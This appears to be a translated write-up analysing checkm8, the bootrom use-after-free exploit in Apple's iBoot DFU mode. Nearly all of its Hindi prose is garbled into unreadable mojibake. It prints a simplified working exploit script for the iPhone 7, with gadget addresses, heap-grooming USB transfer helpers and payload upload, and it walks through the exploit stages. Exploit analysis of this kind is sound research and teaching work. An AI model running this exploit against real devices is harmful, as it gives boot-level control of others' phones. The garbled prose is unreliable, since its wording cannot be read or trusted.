рдЖрд╕рд╛рдиреА рд╕реЗ iBoot рдХрд╛ рд╕реЛрд░реНрд╕ рдХреЛрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


рдЬрдм DFU рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ IO рдмрдлрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ DFU рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ USB рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкрдВрдЬреАрдХреГрдд рд╣реИ:



рдЬрдм DFU рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд╛ SETUP рдкреИрдХреЗрдЯ рдЖрддрд╛ рд╣реИ, рддреЛ рдПрдХ рдЙрдЪрд┐рдд рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИрдВрдбрд▓рд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред OUT рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдм рдХреЛрдИ рдЫрд╡рд┐ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИ), рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣реИрдВрдбрд▓рд░ рдХреЛ рд▓реЗрди-рджреЗрди рдХреЗ рд▓рд┐рдП IO рдмрдлрд░ рдХреЗ рдкрддреЗ рдХреЛ рд╡рд╛рдкрд╕ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ рдФрд░ рд╕рд╛рде рд╣реА рд╕рд╛рде рдпрд╣ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреА рд▓рдВрдмрд╛рдИ рднреАред рджреЛрдиреЛрдВ рдореВрд▓реНрдп рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВред



рдиреАрдЪреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ DFU рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИрдВрдбрд▓рд░ рджрд┐рдЦрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдХреЛрдИ рдЕрдиреБрд░реЛрдз рд╕рд╣реА рд╣реИ, рддреЛ DFU рдЖрд░рдВрднреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдЖрд╡рдВрдЯрд┐рдд IO рдмрдлрд░ рдХрд╛ рдкрддрд╛ рдФрд░ SETUP рдкреИрдХреЗрдЯ рд╕реЗ рдбреЗрдЯрд╛ рдХреА рдЕрдкреЗрдХреНрд╖рд┐рдд рд▓рдВрдмрд╛рдИ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рддреА рд╣реИред



Data Stage рджреМрд░рд╛рди, Data Stage рдкреНрд░рддреНрдпреЗрдХ рднрд╛рдЧ IO рдмрдлрд░ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ IO рдмрдлрд░ рдкрддрд╛ рдСрдлрд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд╛рдЙрдВрдЯрд░ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм рд╕рднреА рдЕрдкреЗрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдбреЗрдЯрд╛ рд╣реИрдВрдбрд▓рд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд▓реЗрдирджреЗрди рдХреА рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рд╛рдл рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред



DFU рдбреЗрдЯрд╛ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ, рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХреЛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╕реЗ рдЗрд╕реЗ рдмрд╛рдж рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред iBoot рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рдЖрдзрд╛рд░ рдкрд░, Apple рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдХреЛ INSECURE_MEMORY рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред



рдЬрдм рдбрд┐рд╡рд╛рдЗрд╕ DFU рдореЛрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддрд╛ рд╣реИ, рддреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд IO рдмрдлрд░ рдХреЛ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЫрд╡рд┐ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ DFU рдореЛрдб рдореЗрдВ рдЕрдзрд┐рдЧреНрд░рд╣рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдЗрд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдФрд░ рдмреВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдереА рдпрд╛ рдЫрд╡рд┐ рдХреЛ рдмреВрдЯ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рдерд╛, рддреЛ DFU рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реБрдЖрдд рд╕реЗ рджреЛрд╣рд░рд╛рдПрдЧреАред


рд╡рд░реНрдгрд┐рдд рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдореЗрдВ рдПрдХ use-after-free рднреЗрджреНрдпрддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо рдЗрдореЗрдЬ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд╕рдордп рдПрдХ SETUP рдкреИрдХреЗрдЯ рднреЗрдЬрддреЗ рд╣реИрдВ рдФрд░ Data Stage рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдХреЛ рд▓реЗрди-рджреЗрди рдХреЛ рдкреВрд░рд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐ рдЕрдЧрд▓реЗ DFU рдЪрдХреНрд░ рдХреЗ рджреМрд░рд╛рди рдЖрд░рдВрдн рдореЗрдВ рдмрдиреА рд░рд╣реЗрдЧреА, рдФрд░ рд╣рдо рдкрд┐рдЫрд▓реЗ рд╕рдордп рдХреЗ рджреМрд░рд╛рди рдЖрд╡рдВрдЯрд┐рдд IO рдмрдлрд░ рдХреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦ рд╕рдХреЗрдВрдЧреЗред DFU рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐


рдЕрдм рдЬрдм рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ use-after-free рдХрд╛рд░реНрдп рдХреИрд╕реЗ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рд╡рд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо DFU рдХреЗ рдЕрдЧрд▓реЗ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЗ рджреМрд░рд╛рди рдХреБрдЫ рднреА рдХреИрд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ? DFU рдПрдХ рдФрд░ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ, рдкрд╣рд▓реЗ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдПрдХ рдирдП рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдореЗрдВ рдореЗрдореЛрд░реА рдХрд╛ рдЖрд╡рдВрдЯрди рдмрд┐рд▓реНрдХреБрд▓ рд╕рдорд╛рди рд╣реЛрдирд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рдирд┐рдХрд▓рд╛, рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдореЗрдореЛрд░реА рд▓реАрдХ рддреНрд░реБрдЯрд┐ рд╣реИ рдЬреЛ use-after-free рд╢реЛрд╖рдг use-after-free рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред


рдЪреЗрдХрдо 8 рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рдЪрд▓рд┐рдП checkm8 рд╣реА рдЖрддреЗ рд╣реИрдВред рдкреНрд░рджрд░реНрд╢рди рдХреЗ рд▓рд┐рдП, рд╣рдо iPhone 7 рд▓рд┐рдП рд╢реЛрд╖рдг рдХрд╛ рдПрдХ рд╕рд░рд▓реАрдХреГрдд рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рдЬрд╣рд╛рдВ рд╣рдордиреЗ рдЕрдиреНрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдХреЛрдб рдирд┐рдХрд╛рд▓ рд▓рд┐рдП рдФрд░ рдЗрд╕рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдХрд┐рд╕реА рднреА рдиреБрдХрд╕рд╛рди рдХреЗ рдмрд┐рдирд╛ USB рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдХреНрд░рдо рдФрд░ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ред рд╣рдореЗрдВ рдПрдХ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рднреА рдЫреБрдЯрдХрд╛рд░рд╛ рдорд┐рд▓рд╛, рдЬреЛ рдХрд┐ рдореВрд▓ рдлрд╝рд╛рдЗрд▓, checkm8.py рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХреЛ рд╕рдордЭрдирд╛ рдЖрд╕рд╛рди рд╣реИред


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдХрдИ рдЪрд░рдг рд╣реИрдВ:


  1. рд╣реАрдк рдлреЗрдВрдЧ-рд╢реБрдИ
  2. рд╡реИрд╢реНрд╡рд┐рдХ рд░рд╛рдЬреНрдп рдХреЛ рдордВрдЬреВрд░реА рджрд┐рдП рдмрд┐рдирд╛ IO рдмрдлрд░ рдХрд╛ рдЖрд╡рдВрдЯрди рдФрд░ рдирд┐: рд╢реБрд▓реНрдХ
  3. use-after-free рд╕рд╛рде рдвреЗрд░ рдореЗрдВ usb_device_io_request
  4. рдкреЗрд▓реЛрдб рд░рдЦрдХрд░
  5. callback-chain рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди
  6. рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди

рдЖрдЗрдП рд╕рднреА рдЪрд░рдгреЛрдВ рдХреЛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рджреЗрдЦреЗрдВред


1. рдвреЗрд░ рдлреЗрдВрдЧ-рд╢реБрдИ


рд╣рдореЗрдВ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЪрд░рдг рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдордп рд╡реНрдпрддреАрдд рдХрд░реЗрдВрдЧреЗред


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

рдпрд╣ рдЪрд░рдг рдПрдХ рддрд░рд╣ рд╕реЗ рдвреЗрд░ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ use-after-free рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдлрд╛рдпрджреЗрдордВрдж рд╣реИред рдкрд╣рд▓реЗ, рдЪрд▓реЛ рдХреЙрд▓ stall , leak , no_leak рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer рд▓рд┐рдП рдПрдХ рдЖрд╡рд░рдг рд╣реИред рдЕрдиреБрд░реЛрдз рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдЕрдкрд╡рд╛рджреЛрдВ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реБрдПред libusb1_async_ctrl_transfer рдПрдХ libusb_submit_transfer рдХреЗ рдЕрддреБрд▓реНрдпрдХрд╛рд▓рд┐рдХ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП libusb_submit_transfer рдлрд╝рдВрдХреНрд╢рди libusb_submit_transfer рд▓рд┐рдП рдПрдХ рдЖрд╡рд░рдг рд╣реИред


рдЗрди рдХреЙрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рджрд┐рдП рдЧрдП рд╣реИрдВ:


  • рдбрд┐рд╡рд╛рдЗрд╕ рдирдВрдмрд░
  • SETUP рдкреИрдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ (рдпрд╣рд╛рдВ рдЖрдк рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Data Stage рд▓рд┐рдП рдбреЗрдЯрд╛ ( wLength ) рдпрд╛ рдбреЗрдЯрд╛ рдХреА рд▓рдВрдмрд╛рдИ
  • рдЯрд╛рдЗрдордЖрдЙрдЯ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ

рддрд░реНрдХ bmRequestType , bRequest , wValue рдФрд░ wIndex рд╕рднреА рддреАрди рдЕрдиреБрд░реЛрдз рдкреНрд░рдХрд╛рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - Data Stage рдХреА рджрд┐рд╢рд╛ (рдбрд┐рд╡рд╛рдЗрд╕ рдЯреВ рд╣реЛрд╕реНрдЯ)
    • 0bX00XXXXX - рдорд╛рдирдХ рдЕрдиреБрд░реЛрдз рдкреНрд░рдХрд╛рд░
    • 0bXXX00000 - рдбрд┐рд╡рд╛рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рд╣реИ
  • bRequest = 6 - bRequest = 6 рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ - рд╕реНрдЯреНрд░рд┐рдВрдЧ ( USB_DT_STRING )
    • wValueLow = 0x4 - рд╕реНрдЯреНрд░рд┐рдВрдЧ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХрд╛ рд╕реВрдЪрдХрд╛рдВрдХ, 4, рдбрд┐рд╡рд╛рдЗрд╕ рд╕реАрд░рд┐рдпрд▓ рдирдВрдмрд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реНрдЯреНрд░рд┐рдВрдЧ CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рднрд╛рд╖рд╛ рдХрд╛ wIndex = 0x40A , рдЬрд┐рд╕рдХрд╛ рдорд╛рди рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд▓рд┐рдП, 0x30 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдвреЗрд░ рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:



рдЗрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдХреНрд╖реЗрддреНрд░ callback рдФрд░ next ред


  • callback рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреЙрдЗрдВрдЯрд░ рд╣реИ рдЬрд┐рд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЬрд╛рдиреЗ рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
  • next рдЙрд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдЧрд▓реЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╕реВрдЪрдХ рд╣реИ; рдЕрдиреБрд░реЛрдз рдХрддрд╛рд░ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

stall рдХреА рдореБрдЦреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛ рдПрдХ рдиреНрдпреВрдирддрдо рдЯрд╛рдЗрдордЖрдЙрдЯ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрддреБрд▓реНрдпрдХрд╛рд▓рд┐рдХ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИред рдЗрд╕реАрд▓рд┐рдП, рдпрджрд┐ рд╣рдо рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ, рддреЛ рдЕрдиреБрд░реЛрдз рдУрдПрд╕ рд╕реНрддрд░ рдкрд░ рд░рджреНрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рд░рд╣реЗрдЧрд╛, рдФрд░ рд▓реЗрдирджреЗрди рдкреВрд░рд╛ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рд╕рд╛рде рд╣реА, рдбрд┐рд╡рд╛рдЗрд╕ рд╕рднреА рдЖрдЧрд╛рдореА SETUP рдкреИрдХреЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдЧрд╛ рдФрд░ рдЬрдм рдЖрд╡рд╢реНрдпрдХ рд╣реЛ, рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рд░рдЦ рджреЗрдЧрд╛ред рдмрд╛рдж рдореЗрдВ, Arduino рдкрд░ USB рдирд┐рдпрдВрддреНрд░рдХ рдХреЗ рд╕рд╛рде рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рдлрд▓ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ SETUP рдкреИрдХреЗрдЯ рдФрд░ IN рдЯреЛрдХрди рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдЬрдмрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╕рдордп-рд╕реАрдорд╛ рдХреЗ рдХрд╛рд░рдг рд▓реЗрдирджреЗрди рдХреЛ рд░рджреНрдж рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред рдпрд╣ рдЕрдзреВрд░рд╛ рд▓реЗрдирджреЗрди рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:



рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдиреБрд░реЛрдз рдХреЗрд╡рд▓ рдПрдХ рдЗрдХрд╛рдИ рджреНрд╡рд╛рд░рд╛ рд▓рдВрдмрд╛рдИ рдореЗрдВ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рдорд╛рдирдХ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рдПрдХ рдорд╛рдирдХ callback рд╣реИ рдЬреЛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:



io_length рдХрд╛ рдорд╛рди рдЕрдиреБрд░реЛрдз рдХреЗ SETUP рдкреИрдХреЗрдЯ рдореЗрдВ wLength рд╕реЗ рдиреНрдпреВрдирддрдо рдФрд░ рдЕрдиреБрд░реЛрдзрд┐рдд рд╡рд┐рд╡рд░рдгрдХ рдХреА рдореВрд▓ рд▓рдВрдмрд╛рдИ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред рд╡рд┐рд╡рд░рдгрдХ рдХрд╛рдлреА рд▓рдВрдмрд╛ рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг, рд╣рдо рдЗрд╕рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рднреАрддрд░ io_length рдХреЗ рдореВрд▓реНрдп рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред g_setup_request.wLength рдХрд╛ рдорд╛рди рдкрд┐рдЫрд▓реЗ SETUP рдкреИрдХреЗрдЯ рд╕реЗ wLength рдХреЗ рдореВрд▓реНрдп рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ 0xC1 ред


рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХреЙрд▓ stall рдФрд░ leak рджреНрд╡рд╛рд░рд╛ рдЧрдард┐рдд рдЕрдиреБрд░реЛрдз рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ рд╣реИ, рдЯрд░реНрдорд┐рдирд▓ callback рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╕реНрдерд┐рддрд┐ рд╕рдВрддреБрд╖реНрдЯ рд╣реИ, рдФрд░ usb_core_send_zlp() рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреЙрд▓ рдПрдХ рд╢реВрдиреНрдп рдкреИрдХреЗрдЯ ( zero-length-packet ) рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред Status Stage рдореЗрдВ рд▓реЗрди-рджреЗрди рдХреЗ рд╕рд╣реА рд╕рдорд╛рдкрди рдХреЗ рд▓рд┐рдП рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИред


рдлрд╝рдВрдХреНрд╢рди usb_core_complete_endpoint_io рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдЕрдиреБрд░реЛрдз рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ рд╣реИред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣ callback рдФрд░ рдлрд┐рд░ рдЕрдиреБрд░реЛрдз рдХреА рдореЗрдореЛрд░реА рдХреЛ рдореБрдХреНрдд рдХрд░рддрд╛ рд╣реИред рдЕрдиреБрд░реЛрдз рди рдХреЗрд╡рд▓ рддрдм рдкреВрд░рд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдкреВрд░рд╛ рд▓реЗрди-рджреЗрди рдкреВрд░рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдЬрдм USB рд░реАрд╕реЗрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм USB рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рд╕рднреА рдЕрдиреБрд░реЛрдз рдкреВрд░реЗ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред


